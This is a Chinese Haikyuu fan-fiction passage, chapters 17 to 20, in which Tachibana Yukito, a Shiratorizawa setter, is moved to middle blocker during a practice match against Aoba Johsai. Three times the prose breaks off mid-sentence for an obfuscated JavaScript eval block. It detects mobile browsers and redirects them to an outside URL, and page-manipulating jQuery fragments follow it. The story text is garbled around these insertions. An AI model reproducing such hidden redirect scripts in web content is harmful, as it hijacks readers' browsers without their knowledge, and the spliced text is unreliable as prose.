【雪兔,妈妈的宝贝。希望你能有一个Happy Ending,不论是和喜欢的人,还是和重要的朋友们。】 * “若利。”从食堂回宿舍楼的路上,天童觉忽然喊。 牛岛若利看着他,用眼神询问怎么了。 “你应该也发现了吧?”天童觉说,“……锻治老头,可能会让小雪兔转位置这件事。” “……嗯。” “果然啊。”天童觉一副洞察的表情,“你觉得锻治老头想让他转什么位置?” “综合考虑一年之后即将引退的三年级生的情况,以及新生的水平来看,明年鹫匠教练应该会以五色和白布作为队伍的进攻核心,进攻强度不及我和白布,而且防守核心就只剩下川西。”牛岛若利停顿了一下,“明年这时候的白鸟泽,最需要一个可以丰富进攻方式,又可以增加拦网强度的副攻手。” “以技术力来说,小雪兔似乎是最合适的人啊。”天童觉眯起了眼睛,“那你觉得他会接受这件事吗?” “……会。”牛岛若利说,“只要能留在排球部,他会接受任何事。” “即使那绝非他所期望的。” 17.青叶城西的练习赛 往后的一星期,立花雪兔就一直被派给川西太一教导,包括但不限于接发球、拦网甚至扣球练习,总之和二传相关的事一点也没做。立花雪兔难得托球瘾犯了,抓着五色工在午休的空隙要给他托球。 妹妹头主攻好感动:“你终于成长为主动给我托球的二传了,公主殿下。” “你。”立花雪兔很想吐槽回去,但一想到现在是自己有求于人,只好连着那诡异的称号一起无视了,“你快点,午休时间就这么一点儿。” 两人没有去排球馆,就在教学楼附近随便找了一块没人的空地。立花雪兔带的路,是他帮千夏学姐找Block的时候发现的角落,非常适合躲着教导主任偷偷打排球。 也不知道为什么要躲,叛逆期的青少年就是这样,任何事情只要偷偷地干,就格外地干劲满满。 “最近和前辈们练习还顺利吗?”立花雪兔随便问了一句。 谁想到,五色工竟然叹了口气。 “虽然几乎天天都和前辈们打练习赛,但是我每次能扣到的球都不超过二十个。” “为什么?还不适应白布前辈的托球吗?” “不是啦。”妹妹头主攻的呆毛都不支棱了,“是所有的球都传给了牛岛前辈。” 立花雪兔:“……啊。” “牛岛前辈确实很强,说实话,即使看过一万次他扣杀的姿势,第一万零一次看的时候也还是会觉得,‘真美啊’。而且他根本不会累,球只要传给他就能得分,如果我是二传的话,我也会把球传给他的。”五色工说,“道理我都懂——虽然道理我都懂,但还是会觉得,有点不甘心吧。” “哎呀——”立花雪兔用力地揉了揉他的妹妹头,“Go酱,你也很强哦。” 五色工:“呜?” “一年级生里,你是唯一的正选队员诶,而且还是白鸟泽的正选队员。”立花雪兔说,“‘白鸟泽未来王牌’,这不是什么大话,你确实就是我们未来的王牌啊,所有人都知道这件事哦。” 五色工:“呜呜呜……” 五色工:“好!再给我来一百个托球!” 立花雪兔:“……行吧,看在你是未来王牌的份上。” 五色工:“?” 没有得到预料中的“滚啊”和讨价还价,他对这样任劳任怨的立花雪兔感到陌生。 “我最近真的托球托得太少了,再不给你托几个都要不会了。” “诶,我只顾着苦恼自己的事情了,都没有注意到你。”五色工愣了,“你没托球吗?那你最近都在干什么?我看鹫匠教练一直让川西前辈和你在一起,还以为你们在练什么新的快攻呢。” “接发球、扣球、拦网。”立花雪兔无语望天。 “什么意思?”五色工问。 “什么意思?我怎么知道。” “哦哦,我知道了,鹫匠教练是不是觉得你给一年级的队员托球太浪费了。”五色工说,“所以让你全面进步,早日当上前辈们的练习赛搭子。” 立花雪兔:“……” 立花雪兔半信半疑地问:“真的假的?我们白鸟泽连个校外练习赛都约不到了吗?在宫城县已经是这种人人喊打的状态了吗?” “什么人人喊打!是打遍宫城县无敌手——哦哦哦哦!” “你干嘛突然大叫?!” “刚刚!有个手感超级棒的球!” “再来一次!!!” 大汗淋漓的午休结束,二人收拾东西回教室。立花雪兔拿到手机,才看见有条未读消息,是千夏学姐发来的。 一等星: 【立花学弟,宠物医院说咪咪已经恢复好了,周五可以出院,让我们带回来放归。但是我们演剧部周五要去剧场彩排,可以拜托立花学弟去接它吗?】 狂乱木曜日: 【可以呀!我周五部团活动结束就去 (* ''▽'')/】 * 周五。 “和青叶城西打练习赛?!”立花雪兔问,“怎么没有人通知我?!” “臭小子,我现在不就是在通知吗!”鹫匠教练说,“对方的入畑教练找我们约的比赛。所有人集合!我们现在坐校车去青叶城西!” “是!” 立花雪兔忙着千夏学姐发消息,被鹫匠教练跳起来给了个爆栗: “臭小子!别玩手机了!晕车吐车上我就把你丢出去!” “好好好……” 立花雪兔嘴上答应,眼睛仍然在忙着看手机。等他上了白鸟泽排球部的校车,已经基本坐满了,他就随便找了个靠窗没人的位置,继续敲字。 狂乱木曜日: 【学姐,部团临时决定去校外打练习赛QAQ!我第一次去,也不清楚何时能结束,如果结束得早的话我还是会去接Block的。】 【不对,咪咪。】 【宠物医院什么时候下班啊?】 牛岛若利作为主将,等所有队员都上了车并清点完之后,他才最后一个上车。他的视线逡巡了一会儿,落到了倒数第二排靠窗的位置上。 一个浅色的毛茸茸的脑袋,低着头,似乎正在苦恼。 他走到立花雪兔旁边,沉默地坐下。 少年没有注意到身边的人,还在盯着手机屏幕。千夏学姐大概已经在彩排了,无暇看消息,他小声地自言自语了一句:“啊啊,完蛋了……” “怎么了?”牛岛若利问。 “!”立花雪兔转头,看见是他,才放心地悄悄问,“一般去校外打练习赛要多久啊?” “看情况,通常比我们的部团活动时间要长一些。会选在周五,就是因为第二天是周末。”牛岛若利想了想,“你有什么事吗?” “嗯,算是吧,但还是部团活动优先啦。” 立花雪兔想,大不了明天再去宠物医院,多交一天的寄养费就行了。只是他答应了千夏学姐,心里有些过意不去。 “你还是先和立花老先生说一下吧。”牛岛若利提醒他。 “嗯?为什么?” “……”牛岛若利迟疑了0.1秒,决定向他泄密,低声说,“鹫匠教练似乎准备请大家吃烤肉。” 立花雪兔:“!!!” 牛岛若利的食指抵在他的嘴唇上。 少年赶紧把一声惊呼咽回肚子里,狡黠地笑着朝他点点头:“我知道了,我这就去说。” “不出意外的话是这样。”牛岛若利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416434|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又说。 “出意外呢?” “鹫匠教练就只会让斋藤教练上车,让我们从青叶城西跑回白鸟泽。” 立花雪兔:“……” “跑完之后,全员加练到晚上九点。”牛岛若利一脸认真地补充,“那样的话你也不用回家吃饭了。” “……”保险起见,立花雪兔问,“‘出意外’,具体是指?” “输了;或虽然赢了,但表现很差。”牛岛若利说,“不过,也不需要太担心。到目前为止,我们对青叶城西的比赛都从无败绩。” “……”强者的自信啊,立花雪兔心想,又问,“那我们为什么还要和他们打训练赛?岂不是给他们刷BOSS经验吗?” 刷BOSS经验是什么意思,牛岛若利不懂。 但他还是认真地解释:“因为他们和我们一样,都新招了一年级的队员。” “哦哦!所以这次练习赛,双方的新生都会上场吗!Go酱会上场吗!”立花雪兔的眼睛亮晶晶的,最后还是忍不住,小声地又问了一句,“……还有我,也有可能上场吗?” 那双琥珀色的眼眸过于期待。 牛岛若利沉默地移开了眼睛。 “……也许吧。” * “啊哈哈哈!及川大人今天要揍得小牛若抬不起头来!!!” “及川,今天的比赛多多指教。” 及川彻:“……” 岩泉一踢了他一脚:“好好打招呼,礼貌不能丢。” “嗯。”牛岛若利全然不在意,“我还是一样,今天也不会输的。” 及川彻:“………………” 岩泉一:“丢了就丢了吧。” 赛前的写作打招呼读作挑衅环节,及川彻看着对面的二传,臭屁地笑着问:“今天还是你啊?不好惹的妹妹头学弟。” 白布·不好惹的妹妹头学弟·贤二郎点点头:“没错,今天还是我,及川学长。” “你们家新来的好欺负的小雪兔呢?他也是二传吧?” “……”白布贤二郎顿了顿,问,“及川学长,你什么时候欺负我们的后辈了?” “不告诉你!” 五色工瞪着金田一勇太郎。 金田一勇太郎瞪着五色工。 “我是白鸟泽新来的一年级主攻手。”五色工坚定地说。 “青叶城西新来的一年级副攻手。”金田一勇太郎的眼神同样坚毅,“今天就一决胜负吧,我们。” 立花雪兔和濑见英太站在场边,难掩激动地看向场上。 这是五色工第一次站上校外的比赛场,立花雪兔真为他感到开心,希望他能够好好地发挥出自己的实力。 偶尔……偶尔他也会希望,自己也能站在那里。 “注意看及川彻。”濑见英太忽然对他说,“你之前不在宫城县大概不清楚,他是县内最强的二传。而且曾经是……不,现在仍然是,若利最渴望的二传手。” “诶?!”立花雪兔惊讶地问,“为什么?” “‘他是能让队友发挥出100%实力的,名符其实的二传手’——” 裁判哨声吹响。 比赛,开始了—— 18.队伍的齿轮 白鸟泽VS青叶城西。 第一局由青叶城西方发球。 及川彻站在发球区内,击球的瞬间,仿佛伴随着一阵强劲的BGM。他一记裹挟着狂风的超大力跳发,直接为立花雪兔打开了新世界的大门。 他忍不住惊呼:“进攻型的二传吗?!” “这才哪儿到哪儿啊。”濑见英太说。 及川彻的发球直接针对了后排第一次正式上场的五色工。 五色工心里紧张得不行,勉强地接住了这一球,没有接稳。白布贤二郎赶紧救球,尽管一传不尽如意,他仍然将球高高地传给了4号位的牛岛若利。 对面,青叶城西已经组织起了三人拦网。 牛岛若利的左手扣杀穿越了三人构筑的防线,朝着后排的空档砸去。金田一勇太郎忍不住“啧”了一声,心说左手就是麻烦。 而后排的花卷贵大似乎预料到了,已经抢先出现在了球的落点,垫球却不受控制地飞了出去。 “抱歉!”他喊。 另一个青白相间的人影,却更快地追上了球。 一记极高难度的背飞快球,那半空中的身体线条无比流畅、美丽而有力,将球精准迅速地传到了网前。 ——宛若名片般的传球。 松川一静跑动到网前的击球点,起跳。 球却划过一道弧线,从他的指尖上掠过了。 佯攻! 松川一静几乎落地,岩泉一才在更远的一侧起跳,扣杀! 立花雪兔紧张地看着这几乎发生在瞬间的一切。 对面的二传拥有堪称恐怖的技术和协调整支队伍的能力,攻手与二传、攻手与攻手之间高度配合,是一支完成度相当高的队伍。 而我们这边,拥有的是—— 天童觉识破了这场立体进攻中的诱饵。 他与岩泉一同时起跳,十只缠着绷带的修长指尖犹如一张倒悬的蜘蛛网。 “One touch!”天童觉喊。 大平狮音垫球,经由白布贤二郎之手,又是一个高球被传给了牛岛若利。 对面的组织拦网极其迅速。 然而,超高的打点几乎可以无视一切防线,绝对的力量也不需要任何的跑动战术。 他将球重重地扣向后排,金田一勇太郎试图救球,球却砸中他的小臂,接着直直地飞向了界外。 【1:0】。 ——宛若名片般的扣球。 对面,及川彻的脸色很差。 “还是一如既往地强到令人讨厌啊。”脸色很差,他的眼眸却亮得不可思议,仿佛燃烧着烈火,“……小牛若。” 牛岛若利没有什么表情,仿佛刚刚只是一个无比平常的扣球。他转头对白布贤二郎说:“再高一点。” “好的。”白布贤二郎应了,转头瞪着五色工。 “……”五色工还以为他忘了,顿时缩得像一只弱小、无助、可怜但能吃的鹌鹑。 “下次请给我一个好托的球。” “我知道了!非常抱歉!” 立花雪兔看着刚才的一切,心想: 我们这边,拥有的是—— 牛岛若利。 * 【19:15】。 白鸟泽的19分里,有足足11分都是由牛岛若利拿下,简直就是一个毫无感情的得分机器。 立花雪兔总算理解了五色工的苦恼:所有的球都传给了牛岛前辈。那天他还以为是泄气的说法,现在看来,一个字都没有夸大。整个白鸟泽——不仅是球场上与他并肩的队员,还有球场外的教练、替补、新生后辈,所有的人,都只为他而存在。 为了让这只白色的巨鸟飞得更高,所有人都拧做一股,化为了一阵飓风。 而在青叶城西,却是及川彻却成为了那一阵风。 以“风”来形容有些不准确,应该说,是树。 扎根在大地上的,枝叶繁茂的,托举着所有队员的一棵大树。 在他的托举下,所有人的枝条得以延伸得更高、更远,以外人的眼光看去,他们密不可分,形成了一棵参天的巨树。 ……截然相反的两支队伍。立花雪兔心想。 为了牛岛若利,白布贤二郎成为了光芒最内敛的二传。 可是人的目光,如何不会被球场中央的及川彻所吸引? 此刻,他背飞传了一个快球给金田一勇太郎。 金田一勇太郎几乎是咻地一下腾空,从天童觉和五色工的拦网上将球打到了后排。 【19:16】。 “……啊!”立花雪兔惊呼,“长着蕌头脑袋的那家伙,他的打点变高了!” 濑见英太:“是吗?” “是的!我看得很清楚!”立花雪兔笃定地说,“这都快要赶上翔阳了吧……可他刚刚拦网的时候都还没有跳得这么高的。” 濑见英太心说:翔阳? 跳跃的高度有很多影响因素,包括但不限于队伍调度、跑动距离、爆发力。 是因为及川彻。 ——能让队友发挥出100%实力的,名符其实的二传手。 立花雪兔终于明白了这句话是什么意思。 赛场上,队伍这一个庞大复杂的「仪器」,他看得清清楚楚;赛场外,每一位队员的能力和潜力,甚至于每一个人的性格和情绪,他也洞若观火。 将形态各异的零件组合成一个整体。 及川彻,他是「齿轮」。 “……太强了。”立花雪兔喃喃。 我也想这样。 我也想成为齿轮、成为灯塔,闪耀而重要地,与所有人联系着,活在球场上。 他全神贯注地看着及川彻,没有听见身边的濑见英太,轻轻地叹了口气。 第一局结束。 【25:20】。 五色工略有些垂头丧气地走下球场,立花雪兔知道他肯定觉得刚刚没表现好,赶紧过去鼓励他:“哎呀,我们未来的王牌!打得真好啊!” 五色工:“真、真的么?” 白布贤二郎在旁边淡淡地说:“你别哄他了。” 五色工:“呜……” “啊!不是!没有!白布前辈你——” “立花雪兔。” 换场的中途大家喝水、休息,立花雪兔正给被白布贤二郎打击到的五色工提供情绪价值。第二场准备上场的时候,鹫匠教练叫住了他。 “什么?”他问。 “看得怎么样了?”鹫匠教练问,一如既往地严肃。 “啊……学到了很多。”立花雪兔摸不着头脑,心说我又做什么要挨骂了? “那么,”鹫匠教练难得没有凶他,而是第一次像对待其他所有队员一样,认真地叫了他的名字,“差不多该让你上场了,雪兔。” 立花雪兔:“?!” 上场走到一半的白布贤二郎,听见这句话,并没有停下脚步。 却是天童觉和川西太一回头了。 “哦哦!要锻炼我们的新二传了吗!”五色工已经完全从被打击状态中恢复了,比立花雪兔还激动,“所以白布前辈——” 白布贤二郎轻声说:“闭嘴,工。” 五色工:“?” 他似乎终于隐约意识到了这些日子以来徘徊在排球部的异样,教练不合理的安排,前辈们的欲言又止—— 他看向立花雪兔,所有人都看向立花雪兔。 仿佛都在等待着,最后审判的时刻。 立花雪兔:0.0? 他还在即将上场的狂喜中,接着就听见鹫匠教练淡淡地说: “——觉,他换你。” 立花雪兔:“???” 天童觉:“诶——好吧。” 他走下场,经过立花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432484|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪兔的时候,用缠着绷带的手揉了揉他的脑袋。 16号(立花雪兔)IN。 5号(天童觉)OUT。 “……”及川彻看着对面的换人申请,冷笑了一下,“既然他们要练新人,那我们也练一练吧。国见,别歇着了,换你上场。” 国见英:“……” 国见英咕哝:“好吧。” 13号(国见英)IN。 3号(花卷贵大)OUT。 裁判哨声吹响。 第二局,开始。 大平狮音将球发到对面,被松川一静接起了,及川彻直接将球传给了国见英,以免他一上场就想着省电。 立花雪兔与川西太一拦网,触球之后他下意识紧张地等待一传将球给他,却被鹫匠教练吼了一嗓子: “呆子!你站在那里干什么啊!挡路了!” “啊啊……” 他赶紧给白布贤二郎让位,艰难地适应副攻手的新身份,像只苍蝇一般无所适从地在场上嗡嗡乱转。 冷静,冷静。 整个赛场瞬间如同游戏中的场景在他脑海中建立起了立体模型,紧接着要扣球了,牛岛若利在4号位,大平狮音和川西太一在后排保护,这时候缺乏的是一个佯攻的副攻手,以大幅度的跑动吸引对方拦网手的注意力——虽然,有牛岛若利在,显然不会有人认为真的会让他扣这一球,但是现在他必须填上这一个位置。 想清楚这一点他立刻迅速地跑向白布贤二郎背飞的位置,奋力一跃。 对方三人死死防在牛岛若利那一侧,不为所动。 牛岛若利起跳。 白布贤二郎连眼神都没有给立花雪兔一个,却在正面传球的瞬间调整了姿势,改为背飞,将一颗快球传到了2号位! 立花雪兔:“?!” 手掌,击中了球。 他与球同时落地。 【1:0】。 立花雪兔不可思议地看着自己的手:“……啊?” 五色工抗议地大叫:“凭什么!凭什么凭什么凭什么!他刚来你就给他传了一个球我上一场整场……” 白布贤二郎:“再多说一个字就少给你传一个球。” 五色工:“……Nice ball!” 牛岛若利:“……” 他看着仍然在难以置信地盯着自己的手掌的少年,少年的脑袋上仿佛有一对黑兔子和白兔子僵持左右,一只“诶?”一只“扣球好爽!”,一只又“不对?”一只又“但扣球好爽!”,场面极其混乱。 “抱歉。” “……”牛岛若利收回目光,淡淡地对白布贤二郎摇头,说,“Nice ball。” “……好奢侈啊。”场外,天童觉也眯起了眼睛,玩味地笑着说,“竟然让我们的王牌当诱饵呀。” 濑见英太没有说话。 这份抽筋拔骨般的痛苦,他也有如切肤。 但是,以出其不意赢得的第一球,并没能持续。 “三、二、跳!”川西太一说。 立花雪兔与他共同起跳,而对面扣球的藠头脑袋狠狠地将球打在他的手掌上。 打手出界。 【5:8】。 “……手型啊,保持手型。”川西太一恨铁不成钢地说,“徒儿,为师不是都教过你的吗!” “是。”立花雪兔低着头说。 “雪兔。” 鹫匠教练在场外又喊了他一声。少年抬头望向老者,眼中还是全然的迷惘。 “你到底能不能打?”鹫匠教练冷冷地问。 少年垂眸:“……我能。” “你输了的话,所有人就从这里跑回白鸟泽。” “……嗯。” 所有人:?! 及川彻静静地看着对面发生的一切。 ……真可怜啊。他心说。 19.无逃路的冥界王子 暂停结束,比赛继续。 立花雪兔现在只能安慰自己,幸好不是在及川彻发球的轮次被连续追分,不然他们接发球的压力也太大了。 但是因为他一个人而可能害所有人被罚,压力也很大。立花雪兔紧张得不行,死死盯着过网的球。 对面在及川彻的组织下重新发起了进攻。 ——他传给了新来的13号! 国见英长了一张冷淡俊秀的脸,身高却比想象中高,打的还是主攻手的位置,极其反差。 立花雪兔感觉自己像在打游戏,精神前所未有地集中,看准时机,按下X键起跳,心里默念着川西太一的叮嘱:保持手型。 一个非常标准的拦网姿势。 高度、位置分毫不差,如果国见英扣球,球一定会弹回他身后的场地。虽然后排的接应和自由人在两侧已经做好了保护,时刻预备着救球,但是这样的一定会影响到他们的进攻节奏,立花雪兔是这样想的—— 国见英在击球的瞬间改变了姿势,用修长的指尖轻轻点了一下。 砰。 啪嗒。 球从立花雪兔拦网的指尖上轻巧地划了一个弧度,大平狮音救球不及,摔了出去。立花雪兔先是震惊地回头看了看落地的球,接着用难以置信的眼神,瞪着网对面的国见英。 【5:9】。 ——他打了一个吊球?! ——我什么都准备好了,他竟然吊球?! 感受到立花雪兔极其强烈的目光,国见英仍然是一副无气力的模样,朝他挥挥手,淡淡地夸了一句:“Nice block。” 立花雪兔:“……” 被嘲讽了。 涌上心间的,是一股强烈的胜负欲。 就像做足了一切准备,带着奥林匹斯众神的祝福一路杀到人间的冥界王子,在最后一道门前咬着牙把老爹打到只剩一滴血,他却忽然进化到二阶段重新满血,轻而易举地一刀把逆子送回了冥界。[1] 输了之后,满脑子想的都只有,再打一场。 作为冥界王子的扎格列欧斯有无数次再来的机会,冥界众神爱他,远在奥林匹斯山的众神亦赐福于他。 立花雪兔却只有如同培养斯巴达勇士一般严格的教练,稍不留神还会连带着所有人都被罚。 “再要一个暂停吗?”斋藤教练悄悄问。 “不用了,只是练习赛而已。”鹫匠教练板着脸说,“这点压力都受不了的话,到正式比赛要怎么办呢?” 果然还是想让他打正式比赛啊。斋藤教练心说。 他的目光投向场地上的少年,那少年的眼眸中却全无恐惧,有的只有不甘心。 ——我要赢。 ——无论如何,我都要拦下这一球。 青叶城西连续第四次发球。 立花雪兔放低重心保护接球,球被传到白布贤二郎手里,他正要跑动佯攻,却感到一阵飓风从身前刮过,在他面前高高地跃到了遥不可及的空中—— “给我球!” 五色工说得对。 即使看过一万次牛岛若利扣杀的姿势,第一万零一次看的时候也还是会想,“真美啊”。 他就这样强大而不容置喙,暴力地无视了早已经组织好的三人拦网。 排球如同一道坠星,砸向后排。 自由人渡亲治用小臂接住了球,却被砸得一个趔趄,球高高地往白鸟泽的场地反弹回去—— “Chance——” 大平狮音的话还没说完,在所有人反应过来之前,那高大的身影再一次跃向空中,直接将刚过网的球扣回了对面的空地。 “砰”的一声。 再无别的可能。 【6:9】。 立花雪兔看着那因对面连续得分而略显得有些野蛮的一球,怔怔地想。 ……他也许不记得了,不,他肯定不记得了。 他们重逢的第一天、第一球,也是这样一记毫不犹豫的探头球,让立花雪兔认识到了他们之间漫长的距离。 他在牛岛若利的身后追赶,时至今日,那人的身影仍然遥不可及、高不可攀。 立花雪兔:“……” 轮到他发球了。 立花雪兔走向场后的发球区,经过牛岛若利的时候,忽然听见他们的王牌,用仅有他们两个人能听见的声音说: “不会让你跑回去的。” “……因为有我在。” * 立花雪兔的震惊时间·飘球篇。 在第一个球没接住的情况下,青叶城西很快调整,接起了他的第二个飘球。 “给我!” 金田一勇太郎大喊一声,与国见英分别跑动到二传手的身前与身后,形成交叉立体进攻。他在网前右侧,离及川彻的距离极近,及川彻也做出了正面传球的姿势,似乎要打一个短快球。 每一次拦网,都是瞬息之间的博弈。 他会给谁?! 在那一瞬间,立花雪兔却极其迅速地绕到了空无一人的网的另一侧。 我也看得很清楚,他心说,以二传手的心态来说,非常清楚。 不是藠头脑袋,甚至不是无气力男子。 及川学长,这一球,你一定会给—— 及川彻没有传正面或背面的快球,而是从背后传了一个高球,直接将球从网前左侧远距离传到了右侧,绕过了白鸟泽的拦网。 岩泉一几乎同时从后排发起进攻,以充足的助跑保证了前所未有的高度和力量—— 很空旷。 岩泉一热爱着这高空中的景色。 没有铁壁的阻拦,这是及川彻和队友们为他开出的,空旷而坦荡的前路。 青叶城西,并没有「为了谁」的排球,而是「缺了谁都不可以」的队伍! 一个瘦削的身影,浅色的短发快如一道雪白的闪电。 从后排到前排,他与岩泉一同样,拥有充足的助跑。 ——你一定会给他! ——就像我们拥有若利一样,岩泉学长,也是你们最强大的「武器」! 在所有人反应过来之前,立花雪兔一个人高高地跃起,以一面单薄的身躯阻挡岩泉一的超大力扣杀。 岩泉一:“?!” 某个瞬间他有一种错觉,面前的少年会像被哥斯拉摧毁的城市一样轰然化为碎片。这个念头出现在万分之一秒内,而他也没有任何时间反应,只凭着身体的惯性,轰出了一记超大力扣杀! 立花雪兔也没有思考任何,脑子里只有川西太一唐僧般的碎碎念: 「手型啊,保持手型——」 砰——! 岩泉一和立花雪兔同时落地,二人的眼中皆是相同的震惊。 所有人安静了。 接着,才是球落地的声音。 在偌大的排球馆里清晰可闻。 ——球直接弹向了青叶城西方的场地,界外。 寂静仍然笼罩着整个场地,没有人说话,甚至没有裁判吹哨。 立花雪兔自己也怔怔的,直到一阵剧烈的疼痛从手指上传来。 他捂着手指蹲下:“啊……” 停滞的时间,仿佛在这一声呜咽中才恢复流动。 所有人反应过来,岩泉一慌张地隔着网问他有没有事,裁判吹哨,暂停,白鸟泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444711|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的其他队员围过来看他的情况。 牛岛若利抓过立花雪兔捂着的手,看见那食指有轻微的肿胀。他轻轻按了按近指端的关节,没有感受到骨摩擦,蹲成一团的少年却疼得差点抽过去。 他站起来,向对面的岩泉一投去一道淡淡的目光。 岩泉一:“?” “韧带轻微拉伤。”牛岛若利转头对鹫匠教练说,“需要紧急处理。” 岩泉一心说:我靠,刚刚他看我是什么意思,我还以为我把人打死了呢。 岩泉一:排球这项运动一般是不会死人的吧。 岩泉一:不是,他还好意思看我?他自己不是也天天把别人打得韧带拉伤吗??? 岩泉一带着99%的愤怒和1%的委屈看向及川彻。 及川彻吓了一跳。 及川彻反应过来他不是要揍自己:“……” 及川彻:“我还以为你要把我也杀了助助兴。” 岩泉一:“也不是不行。” 立花雪兔下场,斋藤教练拿出了冰袋、绷带和撒隆巴斯,熟练地给他处理。五色工和川西太一围着他,后者怪叫着噢噢徒儿太棒了太帅了,两个人被教练通通赶走。天童觉摸了摸他的脑袋,重新上场。 比赛继续。 斋藤教练先冰敷了一会儿,将他受伤的食指和相邻的中指用绷带缠绕着固定。 很疼,但立花雪兔低着头,一声不吭,不知道鹫匠教练最后的审判如何。 鹫匠教练沉默地坐在旁边,盯着场上继续的比赛,没有看他。 “……我还可以上场的,鹫匠教练。”立花雪兔小声地说,“轻微拉伤而已……我还能打。” “不用了,已经足够了。” 立花雪兔心里忐忑得要命,听见这话根本不敢抬头。 “我知道你能做到的。”鹫匠教练终于转头看他,一贯严肃的脸上露出了一丝难得的微笑,“……打得很好。受伤了的话,等会儿要多吃点肉哦。” 立花雪兔:“?!” 他被迫以副攻手的身份第一次上场没有哭,手指很痛也没有哭,听见这样一句难得的夸奖,却忍不住落下一颗眼泪,砸在斋藤教练帮他包扎的手上。 “哎呀,”斋藤教练笑着逗他,“我给你包得太痛了是不是啊?” 少年压抑着哽咽。 “……嗯。” * 练习赛结束,鹫匠教练说了一些比赛中暴露出来的问题,尤其讲到了五色工的心态问题,把人说得妹妹头都抬不起来,他却话锋一转: “今天大家都辛苦了,我们就先去烤肉店吧。” 除了早就知道的主将和他的幼驯染,全体欢呼。 在所有人的欢呼声里,立花雪兔看向牛岛若利,偷偷地笑。牛岛若利也对他笑了,却笑得很淡,似乎并没有很高兴。 “耶!教练最好了!” “今天要把锻治老头吃到破产!” “赞成!” “哎呀,你们先去吧,烤肉店地址发给我。”立花雪兔拿了滑板就跳下车,朝他们挥挥手,“我去接个猫!” “臭小子!吃饭都不积极!”鹫匠教练探出头来骂。 “很快的!”立花雪兔低头看手机,千夏学姐还没回消息,Google地图显示青叶城西、宠物医院和烤肉店都离得很近,“十五分钟就好了!给我留点肉啊!” “会给你留的,滑滑板慢点。”鹫匠教练哼了一声。 “嗯!” 牛岛若利坐在后排,身边留了一个靠窗的空位置,没有说话。 他隔着玻璃窗,沉默地看着少年踩上滑板,一如既往地像一阵远行的风。 20.狭路相逢的宠物医院 两所学校和宠物医院都在青叶区,也就是仙台市中心。立花雪兔滑着滑板在街道上穿行,十几分钟后就抵达了宠物医院。他熟练地和医生打了招呼,就去接Block。 “还是要放归啊?”医生问。 “是啊,没有办法养。”立花雪兔叹了口气,摸摸Block的脑袋,“你是最勇敢的狸花猫,对吧?” 医生在给Block做最后的检查。立花雪兔抱着它,拿出了它最爱吃的金枪鱼猫条,打算今天让它猫条吃到饱。虽然平常都有学姐们定时定点投喂,但毕竟还是回去流浪,他想到还是觉得很难过。 “即使是狸花猫,也还是小猫啊。”医生说,“外面的世界对小猫来说很危险的,流浪猫的平均寿命只有五岁。” 立花雪兔更难过了。 他用两只手挤猫条,Block看见他缠着绷带的手指,似乎也意识到这人和自己之前一样受伤了。 它用非常柔软的圆脑袋,轻轻蹭了蹭立花雪兔的手,又用热乎乎的舌头,舔了舔他的绷带。 “别舔,我喷了药的。”立花雪兔心软得一塌糊涂,轻声对它说,“没事,我已经不痛了喔。” “医生,刚刚打电话预约看病的石榴到了。”护士推门说。 “让它进来吧。”医生转头对立花雪兔说,“没关系,你们就在这里待着也行。” “谢谢医生。” 在另一张空办公桌上,Block很快地吃猫条,全然不知道这顿饭之后就是分别。 “呜呜,Block。”立花雪兔看着它,又勾起了悲伤的心事,“要是能留下你就好了,你来教我拦网吧,当副攻手好难……” 他话音未落,下一刻,一个熟悉的大嗓门进来了。 “我真服了你了及川猛,我刚打完练习赛,你能让我好好过个周末吗?” “及川彻你有没有爱心啊!石榴吃什么吐什么!要赶紧来医院啊!” “那就不要吃啊。”熟悉的嗓音说,“你的猫病了你自己负责,姐姐为什么非要让我带你来……” 立花雪兔震惊地转头。 及川彻震惊地止住了话头。 “好、好巧啊。”立花雪兔先打招呼,“及川学长。” 及川彻的第一反应是:“你手指受伤了来宠物医院看病吗?!” 立花雪兔:“……” “舅舅好笨。”及川猛把叫做石榴的布偶猫交给医生检查,“没看见他也有一只猫吗?” 及川彻:“……哦哦。” 立花雪兔不确定他有没有听见自己念叨的悲伤心事,他甚至都不知道应该怎么面对这位青叶城西的主将。作为对手的及川彻非常强大,作为二传手他也拥有自己最憧憬、最羡慕的技术,是他最想成为的人。 而这些,都离转为副攻手的自己很遥远了。 “你们忙吧。”立花雪兔站起来说,“我、我去前台借一个猫包。” 他灰溜溜地出门,没想到及川彻也跟了出来。立花雪兔心里默念你是去上厕所的吧你是去上厕所的吧,径直去找医院前台的姐姐借装Block的猫包,一转头却被一张非常有冲击性的帅脸堵在了角落里。 立花雪兔:“……” 及川彻讨厌天才。 